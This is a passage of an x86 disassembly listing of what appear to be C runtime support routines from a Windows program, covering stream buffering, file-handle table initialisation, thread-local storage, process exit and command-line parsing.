[ebp+arg_4] cmp byte ptr [eax], 62h jnz short loc_44A3E7 test word ptr [ebx], 20h jnz short loc_44A40A or word ptr [ebx], 20h jmp short loc_44A3F6 ; --------------------------------------------------------------------------- loc_44A3E7: ; CODE XREF: sub_44A31B+BDj movzx eax, word ptr [ebx] and eax, 3 cmp eax, 3 jz short loc_44A40A or word ptr [ebx], 3 loc_44A3F6: ; CODE XREF: sub_44A31B+A7j ; sub_44A31B+CAj mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax cmp byte ptr [eax], 62h jz short loc_44A3D2 mov eax, [ebp+arg_4] cmp byte ptr [eax], 2Bh jz short loc_44A3D2 loc_44A40A: ; CODE XREF: sub_44A31B+C4j ; sub_44A31B+D5j cmp [ebp+arg_0], 0 jz short loc_44A438 mov eax, [ebp+arg_4] push eax movzx eax, word ptr [ebx] push eax mov eax, [ebp+arg_0] push eax call sub_44BDDB add esp, 0Ch mov [ebx+4], eax cmp dword ptr [ebx+4], 0 jge short loc_44A44F push ebx call sub_448D5B pop ecx xor eax, eax jmp short loc_44A456 ; --------------------------------------------------------------------------- loc_44A438: ; CODE XREF: sub_44A31B+F3j cmp [ebp+arg_C], 0 jge short loc_44A449 push ebx call sub_448D5B pop ecx xor eax, eax jmp short loc_44A456 ; --------------------------------------------------------------------------- loc_44A449: ; CODE XREF: sub_44A31B+121j mov eax, [ebp+arg_C] mov [ebx+4], eax loc_44A44F: ; CODE XREF: sub_44A31B+110j call sub_448BFB mov eax, ebx loc_44A456: ; CODE XREF: sub_44A31B+12j ; sub_44A31B+B2j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44A31B endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A46B proc near ; CODE XREF: sub_448BFB+4Dp arg_0 = dword ptr 4 mov eax, dword_4111A8 cmp dword_4111A4, eax ja short loc_44A47F call sub_44BE4B jmp short locret_44A498 ; --------------------------------------------------------------------------- loc_44A47F: ; CODE XREF: sub_44A46B+Bj mov eax, dword_4111A8 lea edx, [eax+1] mov dword_4111A8, edx mov edx, [esp+arg_0] mov dword_411064[eax*4], edx locret_44A498: ; CODE XREF: sub_44A46B+12j retn sub_44A46B endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A49B proc near ; CODE XREF: sub_448C7B+8p ; sub_448F5B+D0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_44A4F9 push 6 call sub_449F3B pop ecx mov [ebp+var_8], 0 mov [ebp+var_4], 0 jmp short loc_44A4E3 ; --------------------------------------------------------------------------- loc_44A4C3: ; CODE XREF: sub_44A49B+4Fj mov eax, [ebp+var_4] mov eax, off_411374[eax*4] test eax, eax jz short loc_44A4E0 push eax call sub_44A49B pop ecx test eax, eax jge short loc_44A4E0 or [ebp+var_8], 0FFFFFFFFh loc_44A4E0: ; CODE XREF: sub_44A49B+34j ; sub_44A49B+3Fj inc [ebp+var_4] loc_44A4E3: ; CODE XREF: sub_44A49B+26j cmp [ebp+var_4], 100h jl short loc_44A4C3 push 6 call sub_449FBB pop ecx mov eax, [ebp+var_8] jmp short loc_44A56B ; --------------------------------------------------------------------------- loc_44A4F9: ; CODE XREF: sub_44A49B+Ej test word ptr [ebx], 2000h jnz short loc_44A504 xor eax, eax jmp short loc_44A56B ; --------------------------------------------------------------------------- loc_44A504: ; CODE XREF: sub_44A49B+63j mov esi, [ebx+8] jmp short loc_44A540 ; --------------------------------------------------------------------------- loc_44A509: ; CODE XREF: sub_44A49B+A8j mov eax, [ebx+10h] sub eax, esi push eax push esi mov eax, [ebx+4] push eax call sub_44C05B add esp, 0Ch mov edi, eax test edi, edi jg short loc_44A53E mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] mov [ebx+18h], eax mov eax, [ebx+8] mov [ebx+30h], eax or word ptr [ebx], 200h or eax, 0FFFFFFFFh jmp short loc_44A56B ; --------------------------------------------------------------------------- loc_44A53E: ; CODE XREF: sub_44A49B+85j add esi, edi loc_44A540: ; CODE XREF: sub_44A49B+6Cj cmp esi, [ebx+10h] jb short loc_44A509 mov eax, [ebx+8] mov [ebx+10h], eax test word ptr [ebx], 0C00h jz short loc_44A557 mov esi, [ebx+8] jmp short loc_44A55A ; --------------------------------------------------------------------------- loc_44A557: ; CODE XREF: sub_44A49B+B5j mov esi, [ebx+0Ch] loc_44A55A: ; CODE XREF: sub_44A49B+BAj test word ptr [ebx], 4000h jz short loc_44A566 mov [ebx+18h], esi jmp short loc_44A569 ; --------------------------------------------------------------------------- loc_44A566: ; CODE XREF: sub_44A49B+C4j mov [ebx+30h], esi loc_44A569: ; CODE XREF: sub_44A49B+C9j xor eax, eax loc_44A56B: ; CODE XREF: sub_44A49B+5Cj ; sub_44A49B+67j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44A49B endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A57B proc near ; CODE XREF: sub_44A61B+41p ; sub_44D0DB+328p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx push esi mov ebx, [ebp+arg_0] push ebx call sub_44C35B pop ecx cmp eax, 0FFFFFFFFh jz short loc_44A5CA cmp ebx, 1 jz short loc_44A59E cmp ebx, 2 jnz short loc_44A5B8 loc_44A59E: ; CODE XREF: sub_44A57B+1Cj push 1 call sub_44C35B pop ecx mov [ebp+var_4], eax push 2 call sub_44C35B pop ecx mov edx, [ebp+var_4] cmp edx, eax jz short loc_44A5CA loc_44A5B8: ; CODE XREF: sub_44A57B+21j push ebx call sub_44C35B pop ecx push eax call dword_411CFC ; CloseHandle test eax, eax jz short loc_44A5CE loc_44A5CA: ; CODE XREF: sub_44A57B+17j ; sub_44A57B+3Bj xor esi, esi jmp short loc_44A5D6 ; --------------------------------------------------------------------------- loc_44A5CE: ; CODE XREF: sub_44A57B+4Dj call dword_411CEC ; RtlGetLastWin32Error mov esi, eax loc_44A5D6: ; CODE XREF: sub_44A57B+51j push ebx call sub_44C20B pop ecx mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov byte ptr [edx+eax+4], 0 test esi, esi jz short loc_44A606 push esi call sub_449A3B pop ecx or eax, 0FFFFFFFFh jmp short loc_44A608 ; --------------------------------------------------------------------------- loc_44A606: ; CODE XREF: sub_44A57B+7Dj xor eax, eax loc_44A608: ; CODE XREF: sub_44A57B+89j pop esi pop ebx mov esp, ebp pop ebp retn sub_44A57B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A61B proc near ; CODE XREF: sub_448C7B+30p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A8C jnb short loc_44A644 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44A654 loc_44A644: ; CODE XREF: sub_44A61B+Cj call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44A66D ; --------------------------------------------------------------------------- loc_44A654: ; CODE XREF: sub_44A61B+27j push ebx call sub_44C47B pop ecx push ebx call sub_44A57B pop ecx mov esi, eax push ebx call sub_44C4DB pop ecx mov eax, esi loc_44A66D: ; CODE XREF: sub_44A61B+37j pop esi pop ebx retn sub_44A61B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A67B proc near ; CODE XREF: sub_448EBB+39p ; sub_449FDB+102p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] mov dl, al jmp short loc_44A690 ; --------------------------------------------------------------------------- loc_44A687: ; CODE XREF: sub_44A67B+17j cmp byte ptr [ecx], 0 jnz short loc_44A68F xor eax, eax retn ; --------------------------------------------------------------------------- loc_44A68F: ; CODE XREF: sub_44A67B+Fj inc ecx loc_44A690: ; CODE XREF: sub_44A67B+Aj cmp [ecx], dl jnz short loc_44A687 mov eax, ecx retn sub_44A67B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A69B proc near ; CODE XREF: sub_448F5B+3Dp ; sub_44E5FB+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+18h] cmp eax, [ebx+10h] jbe short loc_44A6B4 xor eax, eax jmp loc_44A78D ; --------------------------------------------------------------------------- loc_44A6B4: ; CODE XREF: sub_44A69B+10j movzx eax, word ptr [ebx] and eax, 9002h cmp eax, 2 jz short loc_44A6F0 movzx eax, word ptr [ebx] mov [ebp+var_4], eax test eax, 8000h setnz al and eax, 1 dec eax and eax, 4000h add eax, 200h mov edx, [ebp+var_4] or edx, eax mov ax, dx mov [ebx], ax or eax, 0FFFFFFFFh jmp loc_44A78D ; --------------------------------------------------------------------------- loc_44A6F0: ; CODE XREF: sub_44A69B+24j movzx eax, word ptr [ebx] and eax, 6000h cmp eax, 6000h jnz short loc_44A717 mov eax, [ebx+0Ch] cmp eax, [ebx+10h] ja short loc_44A717 push ebx call sub_44A49B pop ecx test eax, eax jz short loc_44A717 or eax, 0FFFFFFFFh jmp short loc_44A78D ; --------------------------------------------------------------------------- loc_44A717: ; CODE XREF: sub_44A69B+62j ; sub_44A69B+6Aj ... test word ptr [ebx], 0C00h jnz short loc_44A726 lea eax, [ebx+48h] cmp eax, [ebx+8] jz short loc_44A728 loc_44A726: ; CODE XREF: sub_44A69B+81j jmp short loc_44A77A ; --------------------------------------------------------------------------- loc_44A728: ; CODE XREF: sub_44A69B+89j push 200h call sub_44999B pop ecx mov [ebx+8], eax test eax, eax jnz short loc_44A754 lea eax, [ebx+48h] mov [ebx+8], eax mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] inc eax mov [ebx+0Ch], eax call sub_448BFB jmp short loc_44A77A ; --------------------------------------------------------------------------- loc_44A754: ; CODE XREF: sub_44A69B+9Dj or word ptr [ebx], 40h mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] add eax, 200h mov [ebx+0Ch], eax mov eax, [ebx+8] mov [ebx+2Ch], eax mov eax, [ebx+8] mov [ebx+30h], eax call sub_448BFB loc_44A77A: ; CODE XREF: sub_44A69B:loc_44A726j ; sub_44A69B+B7j mov eax, [ebx+8] mov [ebx+14h], eax mov eax, [ebx+0Ch] mov [ebx+18h], eax or word ptr [ebx], 6000h xor eax, eax loc_44A78D: ; CODE XREF: sub_44A69B+14j ; sub_44A69B+50j ... pop ebx mov esp, ebp pop ebp retn sub_44A69B endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A79B proc near ; CODE XREF: sub_448F5B+59p ; sub_44B42B+696p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] mov bl, al mov edx, [esp+4+arg_0] jmp short loc_44A7B6 ; --------------------------------------------------------------------------- loc_44A7AC: ; CODE XREF: sub_44A79B+1Dj cmp [edx], bl jnz short loc_44A7B4 mov eax, edx jmp short loc_44A7BC ; --------------------------------------------------------------------------- loc_44A7B4: ; CODE XREF: sub_44A79B+13j inc edx dec ecx loc_44A7B6: ; CODE XREF: sub_44A79B+Fj test ecx, ecx jnz short loc_44A7AC xor eax, eax loc_44A7BC: ; CODE XREF: sub_44A79B+17j pop ebx retn sub_44A79B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A7CB proc near ; CODE XREF: DMN1:loc_4492E2p push ebx call sub_449E9B call dword_411DD8 ; TlsAlloc mov dword_411774, eax cmp eax, 0FFFFFFFFh jnz short loc_44A7E7 xor eax, eax jmp short loc_44A822 ; --------------------------------------------------------------------------- loc_44A7E7: ; CODE XREF: sub_44A7CB+16j push 48h call sub_44999B pop ecx mov ebx, eax test eax, eax jz short loc_44A806 push ebx mov eax, dword_411774 push eax call dword_411D9C ; TlsSetValue test eax, eax jnz short loc_44A80A loc_44A806: ; CODE XREF: sub_44A7CB+28j xor eax, eax jmp short loc_44A822 ; --------------------------------------------------------------------------- loc_44A80A: ; CODE XREF: sub_44A7CB+39j push ebx call sub_44A85B pop ecx call dword_411DDC ; GetCurrentThreadId mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh mov eax, 1 loc_44A822: ; CODE XREF: sub_44A7CB+1Aj ; sub_44A7CB+3Dj pop ebx retn sub_44A7CB endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- call sub_449EDB cmp dword_411774, 0FFFFFFFFh jz short locret_44A84F mov eax, dword_411774 push eax call dword_411DE0 ; TlsFree or dword_411774, 0FFFFFFFFh locret_44A84F: ; CODE XREF: DMN1:0044A83Aj retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A85B proc near ; CODE XREF: sub_44910B+17p ; sub_44A7CB+40p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov edx, ebx mov ecx, 48h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx mov dword ptr [ebx+34h], offset dword_4117E8 mov dword ptr [ebx+10h], 1 pop ebx retn sub_44A85B endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A88B proc near ; CODE XREF: sub_44919B+1p sub_449B9Bp ... push ebx push esi call dword_411CEC ; RtlGetLastWin32Error mov esi, eax mov eax, dword_411774 push eax call dword_411DE4 ; TlsGetValue mov ebx, eax test eax, eax jnz short loc_44A8E3 push 48h call sub_44999B pop ecx mov ebx, eax test eax, eax jz short loc_44A8DB push ebx mov eax, dword_411774 push eax call dword_411D9C ; TlsSetValue test eax, eax jz short loc_44A8DB push ebx call sub_44A85B pop ecx call dword_411DDC ; GetCurrentThreadId mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh jmp short loc_44A8E3 ; --------------------------------------------------------------------------- loc_44A8DB: ; CODE XREF: sub_44A88B+28j ; sub_44A88B+39j push 1 call sub_44A98B pop ecx loc_44A8E3: ; CODE XREF: sub_44A88B+1Aj ; sub_44A88B+4Ej push esi call dword_411D18 ; RtlRestoreLastWin32Error mov eax, ebx pop esi pop ebx retn sub_44A88B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A8FB proc near ; CODE XREF: sub_44919B+28p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp dword_411774, 0FFFFFFFFh jz short loc_44A987 test ebx, ebx jnz short loc_44A91E mov eax, dword_411774 push eax call dword_411DE4 ; TlsGetValue mov ebx, eax loc_44A91E: ; CODE XREF: sub_44A8FB+13j test ebx, ebx jz short loc_44A979 mov eax, [ebx+20h] push eax call sub_4488EB pop ecx mov eax, [ebx+24h] push eax call sub_4488EB pop ecx mov eax, [ebx+28h] push eax call sub_4488EB pop ecx mov eax, [ebx+2Ch] push eax call sub_4488EB pop ecx mov eax, [ebx+30h] push eax call sub_4488EB pop ecx mov eax, [ebx+34h] cmp eax, offset dword_4117E8 jz short loc_44A968 mov eax, [ebx+34h] push eax call sub_4488EB pop ecx loc_44A968: ; CODE XREF: sub_44A8FB+61j mov eax, [ebx+3Ch] push eax call sub_4488EB pop ecx push ebx call sub_4488EB pop ecx loc_44A979: ; CODE XREF: sub_44A8FB+25j push 0 mov eax, dword_411774 push eax call dword_411D9C ; TlsSetValue loc_44A987: ; CODE XREF: sub_44A8FB+Fj pop ebx retn sub_44A8FB endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= sub_44A98B proc near ; CODE XREF: DMN1:004490A7p ; DMN1:004490E5p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D34 ; ExitProcess retn sub_44A98B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_44A99B proc near ; CODE XREF: DMN1:004490D5p ; DMN1:00449392p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, offset dword_411778 jmp short loc_44A9ED ; --------------------------------------------------------------------------- loc_44A9A9: ; CODE XREF: sub_44A99B+58j cmp [esi], ebx jnz short loc_44A9EA push 1 mov eax, [esi+4] push eax call sub_44C54B add esp, 8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_44A9C9 test edi, edi jnz short loc_44A9CB loc_44A9C9: ; CODE XREF: sub_44A99B+28j jmp short loc_44A9F5 ; --------------------------------------------------------------------------- loc_44A9CB: ; CODE XREF: sub_44A99B+2Cj cmp edi, 1 jz short loc_44A9E5 push 0 mov eax, [esi+4] push eax call sub_44C54B add esp, 8 mov eax, [esi+4] push eax call edi pop ecx loc_44A9E5: ; CODE XREF: sub_44A99B+33j or eax, 0FFFFFFFFh jmp short loc_44AA00 ; --------------------------------------------------------------------------- loc_44A9EA: ; CODE XREF: sub_44A99B+10j add esi, 8 loc_44A9ED: ; CODE XREF: sub_44A99B+Cj cmp esi, offset dword_4117C8 jb short loc_44A9A9 loc_44A9F5: ; CODE XREF: sub_44A99B:loc_44A9C9j mov eax, [esp+0Ch+arg_4] push eax call dword_411DE8 ; UnhandledExceptionFilter loc_44AA00: ; CODE XREF: sub_44A99B+4Dj pop edi pop esi pop ebx retn sub_44A99B endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44AA0B proc near ; CODE XREF: sub_44928B+5p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D1C ; DeleteFileA test eax, eax jnz short loc_44AA2B call dword_411CEC ; RtlGetLastWin32Error push eax call sub_449A3B pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_44AA2B: ; CODE XREF: sub_44AA0B+Dj xor eax, eax retn sub_44AA0B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44AA3B proc near ; CODE XREF: DMN1:004492FAp push offset dword_412858 call dword_411DEC ; GetSystemTimeAsFileTime retn sub_44AA3B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx lea eax, [ebp-8] push eax call dword_411DEC ; GetSystemTimeAsFileTime mov eax, [ebp-8] mov edx, [ebp-4] mov ecx, dword_412858 mov ebx, dword_41285C sub eax, ecx sbb edx, ebx mov [ebp-8], eax mov [ebp-4], edx mov eax, [ebp-8] mov edx, [ebp-4] push edx push eax push 0 push 2710h call sub_44C63B pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44AA9B proc near ; CODE XREF: DMN1:004492FFp var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_26 = word ptr -26h var_24 = dword ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi push 480h call sub_44999B pop ecx mov ebx, eax test eax, eax jnz short loc_44AABD push 1 call sub_44A98B pop ecx loc_44AABD: ; CODE XREF: sub_44AA9B+18j mov dword_41398C, ebx mov dword_413A8C, 20h jmp short loc_44AAE7 ; --------------------------------------------------------------------------- loc_44AACF: ; CODE XREF: sub_44AA9B+58j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44AAE7: ; CODE XREF: sub_44AA9B+32j mov eax, dword_41398C add eax, 480h cmp ebx, eax jb short loc_44AACF lea eax, [ebp+var_58] push eax call dword_411DAC ; GetStartupInfoA cmp [ebp+var_26], 0 jz loc_44AC0D cmp [ebp+var_24], 0 jz loc_44AC0D mov eax, [ebp+var_24] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_24] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] mov edx, [ebp+var_4] add edx, eax mov [ebp+var_8], edx cmp eax, 800h jle short loc_44AB3E mov [ebp+var_10], 800h loc_44AB3E: ; CODE XREF: sub_44AA9B+9Aj mov esi, 1 jmp short loc_44AB99 ; --------------------------------------------------------------------------- loc_44AB45: ; CODE XREF: sub_44AA9B+107j push 480h call sub_44999B pop ecx mov ebx, eax test eax, eax jnz short loc_44AB60 mov eax, dword_413A8C mov [ebp+var_10], eax jmp short loc_44ABA4 ; --------------------------------------------------------------------------- loc_44AB60: ; CODE XREF: sub_44AA9B+B9j mov dword_41398C[esi*4], ebx add dword_413A8C, 20h jmp short loc_44AB88 ; --------------------------------------------------------------------------- loc_44AB70: ; CODE XREF: sub_44AA9B+FBj mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44AB88: ; CODE XREF: sub_44AA9B+D3j mov eax, dword_41398C[esi*4] add eax, 480h cmp ebx, eax jb short loc_44AB70 inc esi loc_44AB99: ; CODE XREF: sub_44AA9B+A8j mov eax, [ebp+var_10] cmp dword_413A8C, eax jl short loc_44AB45 loc_44ABA4: ; CODE XREF: sub_44AA9B+C3j xor edi, edi jmp short loc_44AC08 ; --------------------------------------------------------------------------- loc_44ABA8: ; CODE XREF: sub_44AA9B+170j mov eax, [ebp+var_8] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_44ABFB mov edx, [ebp+var_4] movzx edx, byte ptr [edx] test edx, 1 jz short loc_44ABFB test edx, 8 jnz short loc_44ABD5 push eax call dword_411DF0 ; GetFileType test eax, eax jz short loc_44ABFB loc_44ABD5: ; CODE XREF: sub_44AA9B+12Dj mov eax, edi and eax, 1Fh imul eax, 24h mov edx, edi sar edx, 5 mov edx, dword_41398C[edx*4] lea ebx, [edx+eax] mov eax, [ebp+var_8] mov eax, [eax] mov [ebx], eax mov eax, [ebp+var_4] mov al, [eax] mov [ebx+4], al loc_44ABFB: ; CODE XREF: sub_44AA9B+117j ; sub_44AA9B+125j ... inc edi inc [ebp+var_4] mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_44AC08: ; CODE XREF: sub_44AA9B+10Bj cmp edi, [ebp+var_10] jl short loc_44ABA8 loc_44AC0D: ; CODE XREF: sub_44AA9B+69j ; sub_44AA9B+73j xor edi, edi loc_44AC0F: ; CODE XREF: sub_44AA9B+23Ej imul eax, edi, 24h mov edx, dword_41398C lea ebx, [edx+eax] cmp dword ptr [ebx], 0FFFFFFFFh jnz loc_44ACD1 mov byte ptr [ebx+4], 81h test edi, edi jnz short loc_44AC38 mov [ebp+var_5C], 0FFFFFFF6h jmp short loc_44AC49 ; --------------------------------------------------------------------------- loc_44AC38: ; CODE XREF: sub_44AA9B+192j cmp edi, 1 setz al and eax, 1 add eax, 0FFFFFFF4h mov [ebp+var_5C], eax loc_44AC49: ; CODE XREF: sub_44AA9B+19Bj mov eax, [ebp+var_5C] push eax call dword_411CD8 ; GetStdHandle mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_44ACCB mov eax, [ebp+var_C] push eax call dword_411DF0 ; GetFileType mov [ebp+var_14], eax test eax, eax jz short loc_44ACCB call dword_411D68 ; GetCurrentProcess mov [ebp+var_64], eax call dword_411D68 ; GetCurrentProcess push 2 push 1 push 0 lea edx, [ebp+var_60] push edx push eax mov eax, [ebp+var_C] push eax mov eax, [ebp+var_64] push eax call dword_411DF4 ; DuplicateHandle test eax, eax jz short loc_44ACA0 mov eax, [ebp+var_60] mov [ebp+var_C], eax loc_44ACA0: ; CODE XREF: sub_44AA9B+1FDj mov eax, [ebp+var_C] mov [ebx], eax mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 2 jnz short loc_44ACB8 or byte ptr [ebx+4], 40h jmp short loc_44ACD5 ; --------------------------------------------------------------------------- loc_44ACB8: ; CODE XREF: sub_44AA9B+215j mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 3 jnz short loc_44ACD5 or byte ptr [ebx+4], 8 jmp short loc_44ACD5 ; --------------------------------------------------------------------------- loc_44ACCB: ; CODE XREF: sub_44AA9B+1C0j ; sub_44AA9B+1D1j or byte ptr [ebx+4], 40h jmp short loc_44ACD5 ; --------------------------------------------------------------------------- loc_44ACD1: ; CODE XREF: sub_44AA9B+186j or byte ptr [ebx+4], 80h loc_44ACD5: ; CODE XREF: sub_44AA9B+21Bj ; sub_44AA9B+228j ... inc edi cmp edi, 3 jl loc_44AC0F mov eax, dword_413A8C push eax call dword_411DF8 ; LockResource pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44AA9B endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi xor ebx, ebx loc_44ACFF: ; CODE XREF: DMN1:0044AD52j cmp dword_41398C[ebx*4], 0 jz short loc_44AD4E mov esi, dword_41398C[ebx*4] jmp short loc_44AD25 ; --------------------------------------------------------------------------- loc_44AD12: ; CODE XREF: DMN1:0044AD33j cmp dword ptr [esi+8], 0 jz short loc_44AD22 lea eax, [esi+0Ch] push eax call dword_411DD0 ; RtlDeleteCriticalSection loc_44AD22: ; CODE XREF: DMN1:0044AD16j add esi, 24h loc_44AD25: ; CODE XREF: DMN1:0044AD10j mov eax, dword_41398C[ebx*4] add eax, 480h cmp esi, eax jb short loc_44AD12 mov eax, dword_41398C[ebx*4] push eax call sub_4488EB pop ecx mov dword_41398C[ebx*4], 0 loc_44AD4E: ; CODE XREF: DMN1:0044AD07j inc ebx cmp ebx, 40h jl short loc_44ACFF pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44AD5B proc near ; CODE XREF: sub_44AF0B+3Fp ; sub_44AF0B+76p var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push ebx push edi mov ecx, [ebp+arg_8] mov edx, [ebp+arg_10] mov dword ptr [edx], 0 mov edx, [ebp+arg_C] mov dword ptr [edx], 1 mov ebx, [ebp+arg_0] cmp [ebp+arg_4], 0 jz short loc_44AD8C mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_44AD8C: ; CODE XREF: sub_44AD5B+24j cmp byte ptr [ebx], 22h jnz short loc_44ADC7 jmp short loc_44ADA3 ; --------------------------------------------------------------------------- loc_44AD93: ; CODE XREF: sub_44AD5B+53j test ecx, ecx jz short loc_44AD9E mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44AD9E: ; CODE XREF: sub_44AD5B+3Aj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44ADA3: ; CODE XREF: sub_44AD5B+36j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_44ADB0 cmp byte ptr [ebx], 0 jnz short loc_44AD93 loc_44ADB0: ; CODE XREF: sub_44AD5B+4Ej test ecx, ecx jz short loc_44ADBA mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_44ADBA: ; CODE XREF: sub_44AD5B+57j mov eax, [ebp+arg_10] inc dword ptr [eax] cmp byte ptr [ebx], 22h jnz short loc_44ADFF inc ebx jmp short loc_44ADFF ; --------------------------------------------------------------------------- loc_44ADC7: ; CODE XREF: sub_44AD5B+34j ; sub_44AD5B+91j test ecx, ecx jz short loc_44ADD2 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44ADD2: ; CODE XREF: sub_44AD5B+6Ej mov eax, [ebp+arg_10] inc dword ptr [eax] mov eax, ebx inc ebx mov al, [eax] mov [ebp+var_9], al mov al, [ebp+var_9] cmp al, 20h jz short loc_44ADEE test al, al jz short loc_44ADEE cmp al, 9 jnz short loc_44ADC7 loc_44ADEE: ; CODE XREF: sub_44AD5B+89j ; sub_44AD5B+8Dj cmp [ebp+var_9], 0 jnz short loc_44ADF7 dec ebx jmp short 